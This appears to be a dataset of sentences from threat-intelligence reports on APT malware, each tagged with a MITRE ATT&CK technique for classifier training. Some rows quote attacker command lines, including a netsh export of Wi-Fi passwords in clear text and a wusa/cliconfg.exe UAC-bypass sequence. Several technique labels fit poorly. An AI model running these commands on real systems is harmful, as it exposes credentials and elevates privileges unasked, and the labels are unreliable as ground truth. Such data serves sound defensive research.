"Instead, it immediately issues a query to resolve the following domain, which embeds the session ID value to transmit it to the C2:   <encoded session id>.<same random number between 100000 and 999999>.<c2 domain name>   To transmit the data via the DNS tunneling, the C2 server will respond to the above query with an IPv6 address that contains the number of DNS queries the payload must issue to obtain the entirety of the data from subsequent IPv6 answers",['T1573 - Encrypted Channel'],fine_tune
"The script will send the specified number of DNS queries using the following format, each of which the C2 will respond with an IPv6 address that the script will treat as a string of data:   www.<sequence number>.<same random number between 100000 and 999999>.<c2 domain name>   The payload will treat the data provided by the C2 as a message, which will have the following structure:   hello<char uuid[35]><char type[1]><data>   The message will start with the string hello followed by a 35-character UUID string",['T1573 - Encrypted Channel'],fine_tune
"Neither this new domain nor the IP it resolves to have been observed in the past, indicating that the sample in Table 3 may be associated with a newer campaign",['T1016 - System Network Configuration Discovery'],fine_tune
"Table 4: URL parameters Additionally, the command string is hashed using the same RGPH hashing algorithm as before",['T1016 - System Network Configuration Discovery'],fine_tune
"In one instance, a log file recovered from an open indexed server revealed that an IP address (112.66.188.28) located in Hainan, China had been used to administer the command and control node that was communicating with malware on victim machines",['T1016 - System Network Configuration Discovery'],fine_tune
APT40 used MURKYSHELL at a compromised victim organization to port scan IP addresses and conduct network enumeration,['T1016 - System Network Configuration Discovery'],fine_tune
"In order to decide which domain xparis() holds, a variable pingadori() uses the radador() function to randomize the domain",['T1016 - System Network Configuration Discovery'],fine_tune
"Instructions within guide.txt explaining how to carry out DNS hijacking attack In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to",['T1016 - System Network Configuration Discovery'],fine_tune
Note that IP addresses can be reallocated,['T1016 - System Network Configuration Discovery'],fine_tune
"Backdoor.Pirpi also collects information about the target’s local network, including the domain controller and workstations",['T1016 - System Network Configuration Discovery'],fine_tune
"Examining historical IP resolutions revealed a common IP between the active nameservers, 107.175.75[.]123",['T1016 - System Network Configuration Discovery'],fine_tune
"This IP is of particular interest as historical domain resolutions of this IP revealed that it had resolved to the domain hotmai1l[.]com in the past as well, which was a domain we had previously identified as having a high likelihood of association with DarkHydrus infrastructure",['T1016 - System Network Configuration Discovery'],fine_tune
"This IP also belongs to the same service provider and class B network range as another IP we had associated with DarkHydrus, 107.175.150[.]113 which specifically resolved to a domain name containing a victim organization’s name",['T1016 - System Network Configuration Discovery'],fine_tune
"After the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server, effectively changing the address the malware will communicate with",['T1016 - System Network Configuration Discovery'],fine_tune
"FBI has high confidence that HIDDEN COBRA actors are using the IP addresses for further network exploitation.This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators, recommended mitigation techniques, and information on reporting incidents to the U.S",['T1016 - System Network Configuration Discovery'],fine_tune
"DHS and FBI recommend that network administrators review the IP addresses, file hashes, network signatures, and YARA rules provided, and add the IPs to their watchlist to determine whether malicious activity has been observed within their organization.When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IP addresses attempting to connect to their systems",['T1016 - System Network Configuration Discovery'],fine_tune
The IP address in the lateral movement techniques was substituted with the local machine IP address to achieve code execution on the system,['T1016 - System Network Configuration Discovery'],fine_tune
"When we analyzed the email headers, we determined that the email was sent from an SMTP server using an IP associated with the Yonsei University network",['T1016 - System Network Configuration Discovery'],fine_tune
text=  from=  ai= ags=  oe= aq= btnG=  oprnd=  ai= utm=  channel=  The page address in the domain of the command and control server is chosen randomly from the list,['T1016 - System Network Configuration Discovery'],fine_tune
Analysis of their configurations show that the C2 servers used both fully-qualified domain names and IP addresses,['T1016 - System Network Configuration Discovery'],fine_tune
"The code will gather some information about the system, specifically the local IP address, MAC address, and the external IP address of the system",['T1016 - System Network Configuration Discovery'],fine_tune
"Similar to Reaver as posted by Palo Alto, it gets the IP or domain of the C&C server, the port, name of the binary, a sleep timer, and what Palo Alto calls a “campaign identifier.” Technical Details At this moment, we were unable to retrieve the original infection vector and other information regarding what other tools the APT15 group is using to attack their targets",['T1016 - System Network Configuration Discovery'],fine_tune
Victim system reconnaissance The code then tries to obtain the victim’s public IP via “https://api.ipify.org/”,['T1016 - System Network Configuration Discovery'],fine_tune
"If the first resolved domain IP address starts with 24.125.X.X, then it is set to 1",['T1016 - System Network Configuration Discovery'],fine_tune
"It is unknown what these domains may have been used for but based on the similarity of domain spoofing and sharing an IP, they are likely part of the adversary infrastructure",['T1016 - System Network Configuration Discovery'],fine_tune
"Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain, msoffice-cdn[.]com which we identified in August 2017",['T1016 - System Network Configuration Discovery'],fine_tune
"The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command ""05 01 00 01 c0 b8 3c e5 00 51"" and verifies that the first two bytes from the server are ""05 00"" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order)",['T1016 - System Network Configuration Discovery'],fine_tune
"The chinapolicyanalysis.org domain was used as the sender address, as well as the hosting location of the malicious RTF document",['T1016 - System Network Configuration Discovery'],fine_tune
"The mericcs.org domain was used as the sender address, as well as the hosting location of the malicious RTF document",['T1016 - System Network Configuration Discovery'],fine_tune
"The structure of the domain mimics the Mercator Institute for China Studies (MERICS), whose actual domain is merics.org",['T1016 - System Network Configuration Discovery'],fine_tune
Network Indicators​     Hostname IP Address Notes   mailcenter.support 221.121.138.139 Domain used to for sending spear phishes and user tracking,['T1016 - System Network Configuration Discovery'],fine_tune
chinapolicyanalysis.org 185.130.212.168 Domain used for spear phish sender e-mail address and to host malicious documents,['T1016 - System Network Configuration Discovery'],fine_tune
fprii.net 185.130.212.254 Domain used for spear phish sender e-mail address and to host malicious documents,['T1016 - System Network Configuration Discovery'],fine_tune
mericcs.org 221.121.138.141 Domain used for spear phish sender e-mail address and to host malicious documents,['T1016 - System Network Configuration Discovery'],fine_tune
"In February 2018, several KHRAT associated domains began resolving to the IP address 89.46.222[.]97",['T1016 - System Network Configuration Discovery'],fine_tune
"One of these domains, facebook-apps[.]com, was identified in one of the malware samples associated with this IP address",['T1016 - System Network Configuration Discovery'],fine_tune
"The diagram in Figure 1 shows the samples, domains, IP addresses and e-mail addresses that we identified during our investigation (See Appendix B for more detail on these.) There is a clear split between Cluster A and Cluster B, with no infrastructure overlap between the two",['T1016 - System Network Configuration Discovery'],fine_tune
"One of the first steps that several Mosquito installer packages performed after writing and running this local_update js file was to export all local host’s WiFi profiles (settings and passwords) to %APPDATA%\<profile>.xml with a command line call: cmd.exe /c netsh wlan export profile key=clear folder=""%APPDATA%"" They then gather more network information with a call to ipconfig and arp -a",['T1016 - System Network Configuration Discovery'],fine_tune
"hxxp://www.sanjosemaristas[.]com/app/index.php?{A01BA0AD-9BB3-4F38-B76B-A00AD11CBAAA}, providing the current network adapter’s service name GUID",['T1016 - System Network Configuration Discovery'],fine_tune
"In Figure 9, below, red indicates targeted IP addresses, malware, registrant information, and domains associated with the targeted attack campaign while blue indicates criminal attack IP addresses, malware used, registrant information, and domains:  Figure 9",['T1016 - System Network Configuration Discovery'],fine_tune
"(Source: Dell SecureWorks) As shown in Figure 10, the unpacked JavaScript code reveals an iframe pointing to an IP address that is hosting the exploit",['T1016 - System Network Configuration Discovery'],fine_tune
"It is a preferred platform within data centers and the cloud for businesses, as well as an ongoing favorite when it comes to a majority of Internet-facing web and application servers",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Furthermore, this group has routinely identified and exploited vulnerable web servers of targeted organizations to install web shells, such as ANTAK and ASPXSPY, and used stolen legitimate credentials to compromise externally facing Outlook Web Access (OWA) resources",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Attack Lifecycle  Initial Compromise APT40 has been observed leveraging a variety of techniques for initial compromise, including web server exploitation, phishing campaigns delivering publicly available and custom backdoors, and strategic web compromises",['T1505.003 - Server Software Component: Web Shell'],fine_tune
Web shells are heavily relied on for nearly all stages of the attack lifecycle,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Internal web servers are often not configured with the same security controls as public-facing counterparts, making them more vulnerable to exploitation by APT40 and similarly sophisticated groups",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Maintain Presence APT40 primarily uses backdoors, including web shells, to maintain presence within a victim environment",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"APT40 strongly favors web shells for maintaining presence, especially publicly available tools",['T1505.003 - Server Software Component: Web Shell'],fine_tune
OwaAuth — This web shell and credential stealer deployed to Microsoft Exchange servers is installed as an ISAPI filter,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"(Source: SecureWorks)  China Chopper web shell — This web-based executable script communicates with a full-featured user interface to allow threat actors to transfer and create files, open a command terminal, and interact with database servers",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"(Source: SecureWorks) In multiple instances, CTU researchers observed artifacts from unsuccessful attempts to create a web shell on web-accessible JBOSS-based service desk software, followed by use of a functional shell to gain access to the environment",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"(Source: SecureWorks) Reentry attempt After BRONZE UNION was evicted from a compromised environment, which involved blocking the group's known infrastructure, CTU researchers observed the group attempting to reconnect to its OWA web shells and a backup web shell it had deployed during the intrusion",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"To report an intrusion and request resources for incident response or technical assistance, you are encouraged to contact DHS NCCIC (NCCICCustomerService@hq.dhs.gov or 888-282-0870), the FBI through a local field office, or the FBI’s Cyber Division (CyWatch@fbi.gov or 855-292-3937).Protect Against SQL Injection and Other Attacks on Web ServicesTo protect against code injections and other attacks, system operators should routinely evaluate known and published vulnerabilities, periodically perform software updates and technology refreshes, and audit external-facing systems for known web application vulnerabilities",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"They should also take the following steps to harden both web applications and the servers hosting them to reduce the risk of network intrusion via this vector.Use and configure available firewalls to block attacks.Take steps to secure Windows systems, such as installing and configuring Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.Monitor and remove any unauthorized code present in any www directories.Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) as much as possible.Remove unnecessary HTTP verbs from web servers",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Typical web servers and applications only require GET, POST, and HEAD.Where possible, minimize server fingerprinting by configuring web servers to avoid responding with banners identifying the server software and version number.Secure both the operating system and the application.Update and patch production servers regularly.Disable potentially harmful SQL-stored procedure calls.Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.Consider using type-safe stored procedures and prepared statements.Audit transaction logs regularly for suspicious activity.Perform penetration testing on web services.Ensure error messages are generic and do not expose too much information.Permissions, Privileges, and Access ControlsSystem operators should take the following steps to limit permissions, privileges, and access controls.Reduce privileges to only those needed for a user’s duties.Restrict users’ ability (permissions) to install and run unwanted software applications, and apply the principle of “Least Privilege” to all systems and services",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Additionally, on that same url, http://mdzz2019.noip[.]cn:3654/ is used to distribute more versions of this Gh0stRAT sample, along with a .zip file containing ASPXSpy, a web shell",['T1505.003 - Server Software Component: Web Shell'],fine_tune
Audit ISAPI filters and search for web shells on Microsoft Exchange servers,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"(Source: Dell SecureWorks) Passwords, like ""admin-na-google123!@#"" shown in Figure 4, are required to interact with the web shell",['T1505.003 - Server Software Component: Web Shell'],fine_tune
TG-3390 has used additional web shells containing similarly formatted passwords,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"However, the OwaAuth web shell password contains the victim organization's name",['T1505.003 - Server Software Component: Web Shell'],fine_tune
More information about the OwaAuth web shell is available in Appendix C,['T1505.003 - Server Software Component: Web Shell'],fine_tune
ASPXTool — A modified version of the ASPXSpy web shell (see Figure 6),['T1505.003 - Server Software Component: Web Shell'],fine_tune
"The OwaAuth web shell is likely created with a builder, given that the PE compile time of the binary does not change between instances and the configuration fields are padded to a specific size",['T1505.003 - Server Software Component: Web Shell'],fine_tune
The adversaries modify publicly available tools such as ASPXSpy to remove identifying characteristics that network defenders use to identify web shells,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"TG-3390 actors have deployed the OwaAuth web shell to Exchange servers, disguising it as an ISAPI filter",['T1505.003 - Server Software Component: Web Shell'],fine_tune
They then identify the Exchange server and attempt to install the OwaAuth web shell,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail, the adversaries identify other externally accessible servers and deploy ChinaChopper web shells",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"(Source: Dell SecureWorks) To facilitate lateral movement, the adversaries deploy ASPXTool web shells to internally accessible systems running IIS",['T1505.003 - Server Software Component: Web Shell'],fine_tune
Mapping of TG-3390's interactions with web shells during an intrusion responded to by CTU researchers,['T1505.003 - Server Software Component: Web Shell'],fine_tune
OwaAuth web shell PDB string,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Each web shell instance is configured to contain SP, Key, and Log variables",['T1505.003 - Server Software Component: Web Shell'],fine_tune
OwaAuth web shell command set,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"The stylecs.aspx webshell provides fairly significant functionality, as its developer wrote this webshell in JScript that ultimately runs any supplied JScript code provided to it within the HTTP request..",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"The MPK Trojan also monitors specifically for windows that are likely to contain login forms for popular web-based email clients, such as titles that contain: “Gmail -” “Yahoo – login” “Sign In -” “Outlook.com -“ MPK will attempt to parse these window titles to identify the associated email address and record these to the log file using the following format: ///////////// Mail Find <email address> /////////// If the Trojan does not find the window titles associated with Gmail, Yahoo or Outlook, it saves the title to the “Save.tmp” file in the following format: +++++++++++++ Window= <window title> +++++++++++++ The major difference between the IRC variant and non-IRC variant of MPK is the C2 protocol used",['T1010 - Application Window Discovery'],fine_tune
Offset Description   0x0 Victim GUID (8C8CEED9-4326-448B-919E-249EEC0238A3)   0x25 Victim IP Address (192.168.180.154)   0x45 Command (0x66660001)   0x49 Length of payload (0x2f – 47)   0x4d Field 1 – Windows major version (0x6 – Windows Vista+)   0x51 Field 2 – Windows minor version (0x1 – Windows 7)   0x55 Field 3 – Unknown (0x20)   0x59 Payload (default flag:4/2/2018 1:01:33 AM)    Table 5 – Beacon structure for PLAINTEE,['T1010 - Application Window Discovery'],fine_tune
"Linux malware detection and prevention is not prevalent at this time, but Palo Alto Networks customers are protected through our next-generation security platform:  IPS signature 14917 deployed to identify and prevent command and control activity The C2 domains and files mentioned in this report are blocked in our Threat Prevention product",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang deleted them, and unfortunately couldn’t restore them after they were deleted",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"For example, at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"After running within the %TEMP% path, Comnie will delete the original file",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
KEYS Deletes the file named by tempPath + “ky” file so as not to upload anything,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
HDS Deletes the file created by the HD command to reverse the effect,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
DEL-TEMP Deletes all files in the “AppData/Local/Temp” path,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
Overwrite a file with all zeros and mark it for deletion on reboot  Wiping files with zeros and marking it for deletion on reboot.   Delete files using the DeleteFile() API Load an arbitrary library into its process space,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The SHAPESHIFT malware is capable of wiping disks, erasing volumes and deleting files, depending on its configuration",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Appendix Malware Family Descriptions    Malware Family  Description  Availability    DROPSHOT  Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware  Non-Public    NANOCORE  Publicly available remote access Trojan (RAT) available for purchase",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The message sent to the C2 will be “file is deleted.” if successful or “file is not deleted.” if unsuccessful,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The dropped executable (MD5: 78734CD268E5C9AB4184E1BBE21A6EB9) contains the compressed FELIXROOT dropper component in the Portable Executable (PE) binary overlay section,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The dropper will delete itself at the end of the process,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"After this file is copied, the original ‘Update.~tmp’ file is deleted",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"boom! Deletes GID.bin, ShwDoc.VBS and ShwDoc.srv files, as well as the scheduled task whose name a GUID stored in the GID.bin file",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe) then delete itself,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
and then deletes the original launcher,['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"This version of the campaign made malicious use of unins000.exe, a process that belongs to the Brazilian information security company GAS Tecnologia, to gather personal information undetected",['T1082 - System Information Discovery'],fine_tune
"The autonomous system name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous system name we have previously seen associated with the OilRig group",['T1082 - System Information Discovery'],fine_tune
"This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities",['T1082 - System Information Discovery'],fine_tune
"The data above contains the hostname (‘HOSTNAME-PC’) of the victim machine, as well as an instruction",['T1082 - System Information Discovery'],fine_tune
"To obtain a job, the Trojan builds a subdomain that has the following structure and issues a DNS query to the C2 server: c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c The generated subdomain is then subjected to a number-to-character substitution function that is the inverse of the Table 4, which effectively converts all the digits in the subdomain into characters",['T1082 - System Information Discovery'],fine_tune
"Once the second DLL is executed, it gathers information about the victim system’s setup, such as operating system version, and driver and processor information",['T1082 - System Information Discovery'],fine_tune
One computer that was infected with both Cadelspy and Remexi was a system that ran a SIM card editing application,['T1082 - System Information Discovery'],fine_tune
Other functionalities provided by this section of the PowerShell Script are as follows:  Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username    All of this data is concatenated and formatted as shown in Figure 13:    Figure 13: Concatenated and formatted data retrieved by PowerShell script  Register the victim’s machine to the C2 server by sending the REGISTER command to the server,['T1082 - System Information Discovery'],fine_tune
Freenki is used to gather information about the infected system and to download a subsequent stage payload,['T1082 - System Information Discovery'],fine_tune
The information this malware collected included the following:The computer nameThe usernameThe execution path of the sampleThe BIOS modelA randomly-generated ID to uniquely identify the systemGroup123 utilized this method to ensure their victim was (a) someone they wanted to target further and (b) someone they could infect further based on the information obtained from the reconnaissance phase,['T1082 - System Information Discovery'],fine_tune
"After connecting to the IRC server, the MPK bot sends custom ping messages and provides an introduction via a “!Hello” message that contains the current logged in user of the infected host, if the user has administrator privileges, the hostname, the UUID of the system, and operating system version",['T1082 - System Information Discovery'],fine_tune
"The malware queries the Windows API to get the computer name, user name, volume serial number, Windows version, processor architecture and two additional values, which are “1.3” and “KdfrJKN”",['T1082 - System Information Discovery'],fine_tune
"As we can see, the following information is present within this configuration:  Remote Command and Control (C2) server Remote port Sleep timer  Reaver continues to collect various information from the victim machine, including the following:  CPU speed Computer name Username IP Address Microsoft Windows version Physical and virtual memory information  The malware proceeds to communicate with the remote server via HTTP GET and POST requests",['T1082 - System Information Discovery'],fine_tune
"Reaver continues to collect various information from the victim machine, including the following:  Computer name Volume serial number Microsoft Windows version CPU speed ANSI code page OEM code page identifier for the operating system Physical and virtual memory information  Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified",['T1082 - System Information Discovery'],fine_tune
Here is an example of the result of ps ax on an infected system:       $ ps ax[...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle[...]     Figure 8: Result of ps ax on an infected system Keychain stealing The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s keychain,['T1082 - System Information Discovery'],fine_tune
"This phase will often leverage a specialized tool that automatically collects a wide array of information including credentials, group management policies, and even system logs to better hone further attacks and assure execution of their malware",['T1082 - System Information Discovery'],fine_tune
"A noteworthy addition to the Poseidon toolkit is the IGT supertool (Information Gathering toolkit), a bulking 15 megabyte executable that orchestrates a series of different information collections steps, exfiltration, and the cleanup of components",['T1082 - System Information Discovery'],fine_tune
"A multilayered approach is a must to securing the organization’s perimeter, especially for information security professionals and system/IT administrators",['T1082 - System Information Discovery'],fine_tune
This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label “C:\” and the computer name,['T1082 - System Information Discovery'],fine_tune
"Download & execute Startup (with persistence) Collection of system information (OS, version, installed location, etc.) Self-update Uninstall  This project was created by a user called zettabithf which is linked to a user with the same name in Hack Forums",['T1082 - System Information Discovery'],fine_tune
"Low confidence generally means that the information's credibility and/or plausibility is questionable, or that the information is too fragmented or poorly corroborated to make solid analytic inferences, or that [there are] significant concerns or problems with the sources",['T1082 - System Information Discovery'],fine_tune
"The verb get can be used in a myriad of ways to retrieve information for a machine, however in this case os get /format: is being abused to download payloads from non-local resources with .xsl extensions",['T1082 - System Information Discovery'],fine_tune
"Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities",['T1082 - System Information Discovery'],fine_tune
"itwm= ags= oe= aq= btnG= oprnd= itwm= utm= channel= The XAgent OSX Trojan generates a system specific value that it refers to as an “agent_id”, which is a unique identifier for each compromised host",['T1082 - System Information Discovery'],fine_tune
"The value is derived using the IOService to access the IOPlatformUUID property, which is equivalent to the “Hardware UUID” listed in the system information application, as seen in the Figure 3 screenshot of our analysis system",['T1082 - System Information Discovery'],fine_tune
"The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system, which in our case was “0000”",['T1082 - System Information Discovery'],fine_tune
The payload sends system information about the infected computer to the C&C server and downloads additional tools.,['T1082 - System Information Discovery'],fine_tune
If it is successful then it will send out basic host information and await further commands.,['T1082 - System Information Discovery'],fine_tune
"After decoding their C2 server IP addresses, from obfuscated strings, both trojans will attempt to collect host information and send it to the C2 server.",['T1082 - System Information Discovery'],fine_tune
"Operating system's name (i.e., the name of the machine) Operating system's OS architecture Operating system's caption Computer system's domain Computer system's username Computer's public IP address",['T1082 - System Information Discovery'],fine_tune
"Once successfully installed in a system, Trickbot will gather system information such as OS, CPU, and memory information, user accounts, lists of installed programs and services.",['T1082 - System Information Discovery'],fine_tune
"(To bypass UAC) configurable setting for the process to abuse  Other than these, new coding algorithm has been introduced",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"This request is followed by a call to “GetisrunasAbById” to determine if the Trojan should use “runas” to execute the downloaded executable with elevated privileges, which would display the UAC dialog for the user to click",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
The CAB file contains the following files and functions:  dll: A malicious DLL used to launch batch files (used with cliconfg.exe for UAC bypass),['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"The macro then extracts the CAB file into %systemroo%\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections) Command lines used by the Visual Basic macro:  cmd /c wusa %TEMP%\setup.cab /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe cmd /c expand %TEMP%\setup.cab -F:* %SystemRoot%\System32 && del /f /q %TEMP%\setup.cab && cliconfg.exe A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
The key differences in this variant:  Two CAB files are encoded into the Word document in text boxes instead of being appended in the DOC file There is one CAB file for an x86 system and another for an x64 system This malware sample uses uacme.exe with dummy.dll to implement the UAC bypass  exe is the program vulnerable to the UAC bypass attack dll runs install.bat to set up the service (same as NTWDBLIB.dll)   exe and dummy.dll may be either 64-bit or 32-bit binaries based on the OS,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"Its encoding method has been modified from time to time, aligned with major upgrade of PlugX itself",['T1124 - System Time Discovery'],fine_tune
"Campaign Code and Compile Time Correlation In some cases, there is a close proximity of the compile time of a CARBANAK sample to the month specified in a particular campaign code",['T1124 - System Time Discovery'],fine_tune
"These four were then all modified on the same date and time on October 13, 2018 08:21",['T1124 - System Time Discovery'],fine_tune
"A possible explanation for this is that the document was copied to another system with an incorrectly set system time, then saved with the incorrect time",['T1124 - System Time Discovery'],fine_tune
"When the backdoor establishes a connection to the command and control server, it sets the request period time equal to the specified dwell time for the standby mode",['T1124 - System Time Discovery'],fine_tune
"If the dwell time value for the active mode has been set, but the package has not been received, the dwell time value is incremented by the dwell time value for the active period",['T1124 - System Time Discovery'],fine_tune
This action is repeated until the dwell time value is bigger or equal to the dwell time value for the standby mode,['T1124 - System Time Discovery'],fine_tune
"Timezone Check The Trojan check to see if the system is configured (“DaylightName”) with one of the following time zones:   Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5)   Human Interaction Check Before executing its functional code, the Trojan presents a dialog box with the following line of code:   Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);   This dialog box displays  An error occurred while processing user32.dll!, which the user must click the ok button for the Trojan to run its functional code",['T1124 - System Time Discovery'],fine_tune
Figure 3 Countries in which OopsIE will run in based on the time zone Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog,['T1124 - System Time Discovery'],fine_tune
"In another case the attackers use another code snippet borrowed from the SubTee GitHub project, this time filling in a fully templated .NET application whitelist bypass file: SHA256: 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2: This time the attacker didn’t have to write any of their own code, instead they were simply able to paste their shellcode directly into a template, in order to launch PlugX as a child process of a trusted application",['T1124 - System Time Discovery'],fine_tune
"Watches uninstall time, checks time diff (local time vs internet time)",['T1124 - System Time Discovery'],fine_tune
Here’s a python code to decode,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
It then downloads and decrypts a PNG file,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Figure 11 Embedded BMP file containing encrypted string data RC4 is used to decrypt this data using a 16-byte key that is stored within the BMP file at offset 0x502,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Once decrypted, we are provided with a large list of strings, as seen below (note that the data has been truncated for brevity):  Figure 12 Decrypted strings from embedded BMP file After these strings are decrypted, the malware will load a series of Microsoft Windows API calls to be used later on",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In order to decode this data, Comnie first decodes it using base64 with the following non-standard alphabet (note that it is simply the original alphabet in reverse): /+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA   The resulting data is then parsed and decrypted using RC4",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"This DLL serves three main functions: killing antimalware, unpacking and executing the main RAT DLL, and obtaining persistence",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Its purpose is to load Msadoz<n>.dll in order to decrypt and execute it in memory,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"If after the package has been decoded its size is bigger than 3 bytes, the Trojan decrypts its first 11 bytes with XOR using the method similar to the one described above",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The decrypted code resolves the necessary API functions, decompresses the embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Configuration Decryption:  Another small, but same important function in the photo above, is the function for decrypting the data containing the C&C configuration",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Figure 2 – The GitHub profile for F0R3X containing both legitimate forked code and the binaries created by the attacker,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
It also allows macro code to access internal VBA objects for stealthier macro code execution in future attacks,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
Packet::getData decrypts the received payload and Converter::outString descrambles the result,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In the event this is successful the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\services\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\microsoft\mmc\  It proceeds to load and decrypt and embedded bitmap resource file",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"In the event this is successful, the malware will use the following path to store any dropped files:  %COMMONPROGRAMFILES%\services\  In the event it is not successful, this alternative path will be used instead:  %APPDATA%\microsoft\mmc\  Reaver.v2 proceeds to decrypt an embedded file using a simple XOR obfuscation routine",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"ESET’s analysis of a recent backdoor used by TeleBots – the group behind the massive NotPetya ransomware outbreak – uncovers strong code similarities to the Industroyer main backdoor, revealing a rumored connection that was not previously proven The post New TeleBots backdoor: First evidence linking Industroyer to NotPetya appeared first on WeLiveSecurity",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
